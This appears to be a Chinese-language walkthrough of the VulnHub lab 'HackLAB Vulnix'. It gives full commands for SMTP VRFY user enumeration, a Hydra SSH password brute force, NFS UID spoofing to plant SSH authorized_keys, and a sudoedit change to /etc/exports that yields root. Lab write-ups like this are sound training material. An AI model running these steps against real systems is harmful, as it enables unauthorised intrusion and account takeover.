
准备工作
靶机基本信息
靶机名称:HackLAB Vulnix
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络(手动设置)
渗透测试目标:获取靶机
root权限并找到名为trophy的文件下载地址: 1. HackLAB: Vulnix ~ VulnHub
信息收集
主机发现
在Kali Linux中,使用netdiscover命令进行主机IP地址发现:
            
            
              shell
              
              
            
          
          netdiscover -r 192.168.2.0/24
可以确定MAC设备名一栏为VMware, Inc.的一项即为靶机,IP地址为192.168.2.107
防火墙检测
下面对靶机的防火墙情况进行检测。首先检测ICMP连通性:
            
            
              Text
              
              
            
          
          ┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.107
PING 192.168.2.107 (192.168.2.107) 56(84) bytes of data.
64 bytes from 192.168.2.107: icmp_seq=1 ttl=64 time=2.03 ms
64 bytes from 192.168.2.107: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.2.107: icmp_seq=3 ttl=64 time=1.03 ms
64 bytes from 192.168.2.107: icmp_seq=4 ttl=64 time=0.984 ms
--- 192.168.2.107 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.984/1.263/2.029/0.442 ms发现可以连通靶机。使用Nmap工具检测防火墙:
            
            
              shell
              
              
            
          
          nmap -sF -T4 -p- 192.168.2.107
很好,看来在渗透过程当中大概率不需要担心防火墙问题。
网络服务扫描
确定了靶机的防火墙状态之后,我们就可以使用nmap对靶机进行网络服务和操作系统的探测。
            
            
              shell
              
              
            
          
          # TCP SYN半开放扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.107
从中可以得知以下信息:
| 端口 | 传输层协议 | 应用层协议 | 详细信息 | 
|---|---|---|---|
| 22 | TCP | SSH | OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) | 
| 25 | TCP | SMTP | Postfix smtpd | 
| 79 | TCP | Finger(用户信息查询协议) | Linux fingerd | 
| 110 995 | TCP | POP3 | ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server | 
| 111 | TCP | RPC | rpcbind 2-4 (RPC #100000) | 
| 143 993 | TCP | IMAP | Dovecot imapd | 
| 512 513 | TCP | 未知 | 未知 | 
| 514 | TCP | 未知 | 被应用层防火墙阻断 | 
| 2049 35606 41352 42439 46640 54966 | TCP | NFS | 2-3 (RPC #100227) 1-4 (RPC #100021) 1-3 (RPC #100005) 1-3 (RPC #100005) 1 (RPC #100024) 1-3 (RPC #100005) | 
同时得知靶机上操作系统为Ubuntu Linux,内核版本为Linux 2.6.32 - 3.10
服务探测
SSH服务(22端口)
先尝试通过SSH连接一下靶机,看看会不会发生什么奇怪的事情(文本信息提示):
            
            
              shell
              
              
            
          
          ssh root@192.168.2.107
看来靶机的SSH没有给出提示文本。通过nc工具确定一下Banner信息:
            
            
              Text
              
              
            
          
          ┌──(root㉿hacker)-[/home/hacker]
└─# nc -nv 192.168.2.107 22 
(UNKNOWN) [192.168.2.107] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1
^C邮件服务
从网络服务扫描阶段得知,靶机的25、110、143、993、995端口为邮件服务端口。下面对其进行探测扫描。
首先使用Nmap脚本探测SMTP服务(25端口):
            
            
              shell
              
              
            
          
          nmap --script=*smtp* -p 25 192.168.2.107
从中我们可以获得以下信息:
- smtp-enum-users脚本无法枚举用户
- 邮件服务器并未使用Exim软件,无法使用CVE漏洞攻击 (因为Exploit DB中的大部分有效漏洞都是Exim的)
- 靶机的SMTP服务支持以下命令:vulnix、PIPELINING、SIZE、VRFY、ETRN、STARTTLS、ENHANCEDSTATUSCODES、8BITMIME、DSN
其中,最有价值的SMTP命令为VRFY。该命令接收一个SMTP用户名参数,并向服务器查询该用户是否存在,若输入的用户名存在则返回状态码252,否则返回状态码550 。也就是说,我们只需要提供字典,就可以通过该命令对服务器的SMTP用户列表进行暴力破解。
这里我们通过Kali Linux自带的smtp-enum-users工具进行破解,字典选用/usr/share/wordlists/metasploit下的unix_users.txt。该字典包含了大量Linux操作系统上常见的用户名。
爆破命令如下:
            
            
              shell
              
              
            
          
          # -M  指定SMTP爆破命令
# -U  指定用户名字典
# -t  指定目标
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.2.107 > ./smtp用户扫描结果.txt 
发现了28个账户。其中root、ROOT和user账户比较显眼。除了root账户,判断它们是使用者而非系统建立的。
NFS文件共享服务
共享文件探测
根据Nmap的扫描结果,NFS网络共享服务使用了2049、35606、41352、42439、46640和549666个端口。我们可以通过showmount命令查看靶机的哪些目录被共享:
            
            
              Text
              
              
            
          
          ┌──(root㉿hacker)-[/home/hacker]
└─# showmount -e 192.168.2.107                                                                                        
Export list for 192.168.2.107:
/home/vulnix *可以看到靶机上很有可能存在一个名为vulnix的账户,而且它的家目录被共享了出来。
尝试使用SMTP邮件服务的VRFY命令验证用户是否存在:

果然。。。。。。
NFS服务简介
NFS,Network File System,中文为网络文件系统 。NFS服务的作用就是将服务器的文件以文件系统的形式共享给多个用户 。NFS服务依赖于RPC协议。
下面举一个比较常见的案例:在网吧或者数据中心中,管理员通常在一台中心服务器上安装NFS服务。中心服务器上共享的是局域网内所有主机的所有用户的个人目录 ,这样就可以节省单台主机的数据存储成本。而如果在客户端内查看当前用户的个人目录,会发现它在肉眼上和普通的目录没有区别,但实际上该目录是由NFS服务挂载的网络共享目录。
NFS服务进程
NFS网络文件系统会启动4个子服务:
- portmapper,作用为将- RPC程序号解释为本机的网络端口号 。当客户端向其发起查询请求时,它会返回- NFS mountd服务注册的端口号。
- mountd,NFS的访问控制程序 。作用为检查客户机是否在NFS的访问控制列表内,并向客户端连接发放令牌。
- idmapd,NFS的用户账号集中映射程序 。作用为识别客户机和服务器的系统账号信息。
- nfsd,NFS的主进程。作用为向服务器内核发送文件系统指令并返回执行结果。
NFS工作流程
NFS客户端向服务器发送一次请求的完整流程如下:
- 本地用户查看网络目录文件,发送list指令到客户机内核。
- 客户机内核识别出该目录为NFS网络共享目录,随即发送RPC数据包,向服务器的111号端口查询服务器NFS mountd服务注册的端口号。
- 服务器接收了客户机的查询指令,返回了mountd服务的端口号。
- 客户机向服务器的mountd服务端口发送访问请求。
- 服务器的mountd服务接收到客户机的访问请求后,首先查询访问控制列表 ,若客户机允许访问,则创建访问令牌并将其返回给客户机。
- 客户机带访问令牌访问nfsd主服务 。nfsd主服务校验令牌后 发送list指令到服务器内核并向客户机返回执行结果。若客户机用户UID和GID经集中映射后,和要访问的文件所有者UID与GID信息不一致,则返回拒绝访问。
- 客户机内核接收到执行结果后,将其返回至用户Shell。流程结束。

NFS安全问题
我们都知道,NFS服务只是根据客户机发送的UID和GID信息进行文件权限识别。但是如果有一台恶意机器通过已经泄露的UID和GID信息访问甚至向服务器上传或覆盖文件呢?
一般情况下,只要在恶意机器中创建一个和服务器文件所有者相同UID、GID的账户,就可以对服务器文件进行读写,如果允许的话。这样攻击者就可以对机器进行渗透甚至提权。
Finger服务(79端口)
Linux Finger服务介绍
Finger是一个用于获取本地或远程计算机用户信息的Linux服务 。当在本地主机执行finger命令之后,将会返回本地计算机所有的用户信息(包括用户名、最近登录时间、电话等),远程同理。如果指定要查看的具体用户名,将会返回更加详细的信息。
命令格式:
            
            
              shell
              
              
            
          
          # 一般格式: finger [选项] [用户名@主机名] (最详细信息)
finger root
finger root@192.168.2.107Finger用户信息探查
既然靶机开放了Finger服务,那我们就顺带探查一下用户基本信息:
            
            
              shell
              
              
            
          
          finger {backup,bin,daemon,games,gnats,irc,landscape,libuuid,list,lp,mail,messagebus,man,news,nobody,postfix,postmaster,proxy,root,ROOT,sshd,sync,sys,syslog,user,uucp,whoopsie,www-data}@192.168.2.107 但是没有发现什么有价值的信息:

针对靶机的服务探测结束,下面进入渗透测试部分
渗透测试
SSH爆破
通过前面的服务探测,我们已经得知了SMTP服务器中有不少于28个用户。而这些已经发现的用户同时大概率是靶机操作系统中的用户 。既然已经得知了用户列表,那么我们就可以挑选一些高价值的目标用户进行SSH暴力破解。
经过一番筛选,挑选出了4个用户进行爆破:root、ROOT、user、vulnix(对NFS服务进行探查时发现) 。字典文件选用/usr/share/wordlists/metasploit/unix_passwords.txt。
(注意将4个用户名一行一个保存在文本文件内)
            
            
              shell
              
              
            
          
          hydra -L ./userlist -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.2.107 经过接近1小时的爆破后,我们成功找到了user用户的密码:

登录信息如下:
- 用户名:user
- 密码:letmein
尝试使用Termius软件登录SSH:

成功!!!
直接使用passwd改密码:
            
            
              shell
              
              
            
          
          user@vulnix:~$ passwd
Changing password for user.
(current) UNIX password: *******
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully对靶机的渗透测试结束,进入权限提升部分
权限提升
本地信息收集
进入靶机之后,首先进行对靶机操作系统的信息收集。为了方便,这里首先使用自动化工具LinPeas进行扫描收集。GitHub地址:GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
将下载好的linpeas.sh通过Termius软件上传到靶机后,赋予执行权限并运行:
            
            
              shell
              
              
            
          
          chmod 777 ./linpeas.sh
./linpeas.sh下面展示收集到的部分关键信息:
靶机系统基本信息

得知靶机操作系统为Ubuntu 12.04.1 LTS,内核版本为3.2.0-29-generic-pae
Sudo版本信息
            
            
              Text
              
              
            
          
          ╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.3p1用户环境变量信息

可用的提权漏洞
- dirty_cow:CVE-2016-5195
- exploit-x:CVE-2018-14665
- msr:CVE-2013-0268
- perf_swevent:CVE-2013-2094
系统进程信息

系统计划任务

            
            
              Text
              
              
            
          
          17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )网络端口状态

Linux用户和组列表

特殊权限文件

看了一圈,并没有什么值得注意的地方。突然想到靶机有NFS文件系统服务,而且它共享了用户vulnix的家目录。为什么不试试NFS提权?
查看用户vulnix的UID和其所属组的GID,发现为2008:2008。既然如此,我们直接在本地创建一个UID和GID均为2008的用户对NFS进行挂载即可。
尝试挂载NFS提权
首先在Kali Linux中执行以下命令,创建恶意NFS用户并建立挂载目录进行挂载:
            
            
              shell
              
              
            
          
          groupadd -g 2008 nfsattack
adduser --uid 2008 --gid 2008 nfsattack
mkdir /mnt/vulnix_nfs
chown -hR nfsattack:nfsattack /mnt/vulnix_nfs
mount -t nfs 192.168.2.107:/home/vulnix /mnt/vulnix_nfs进入目录/mnt/vulnix,通过ls -lA命令查看文件:

发现几乎什么也没有。尝试创建文件:

成功!
既然如此,我们就直接创建SSH配置文件夹并上传公钥文件。
首先切换至原用户,使用ssh-keygen命令生成公私钥,并将公钥文件改名为authorized_keys上传,权限为600:
            
            
              shell
              
              
            
          
          exit
ssh-keygen
cat ~/.ssh/id_rsa.pub > /home/nfsattack/authorized_keys
su nfsattack
cd /mnt/vulnix_nfs
mkdir .ssh
cat ~/authorized_keys > ./.ssh/authorized_keys
chmod 600 ./.ssh/*随后打开Termius的设置面板,点击Keychain一项,将生成的SSH公私钥信息添加进去:

编辑SSH连接信息,用户名填入vulnix,选择公钥连接,密码为空 ,点击Connect按钮:

成功!!
使用sudo -l命令查看该用户是否有Sudo权限,发现该用户可以无密码修改NFS配置文件/etc/exports:

直接执行命令:
            
            
              shell
              
              
            
          
          sudoedit /etc/exports修改NFS配置,令其共享/root目录,这样我们就可以针对root用户上传SSH公钥信息。修改完毕之后这里要手动重启虚拟机。。。。

重启之后,使用攻击机的root用户重新挂载并访问/mnt/vulnix_nfs共享目录:
            
            
              shell
              
              
            
          
          mount -t nfs 192.168.2.107:/root /mnt/vulnix_nfs
cd vulnix_nfs
ls -lA
和之前的操作一样,将本机用户的SSH公钥直接上传:
            
            
              shell
              
              
            
          
          mkdir .ssh
cd .ssh
cat ~/.ssh/id_rsa.pub > ./authorized_keys
chmod 600 ./authorized_keys在Termius软件中将SSH用户名修改为root,其它保持不变,直接连接:

提权成功!!!!
Flag展示
文件名:
trophy.txt
文件大小:33.00Bytes
MD5:67d6604128f3f1acbe9ee33ca00d8586
SHA256:5ceb3bdd0fe791d2b51b74c51b08863dbbf746728b320e1d572b95a0b887c646
文件内容截图如下:

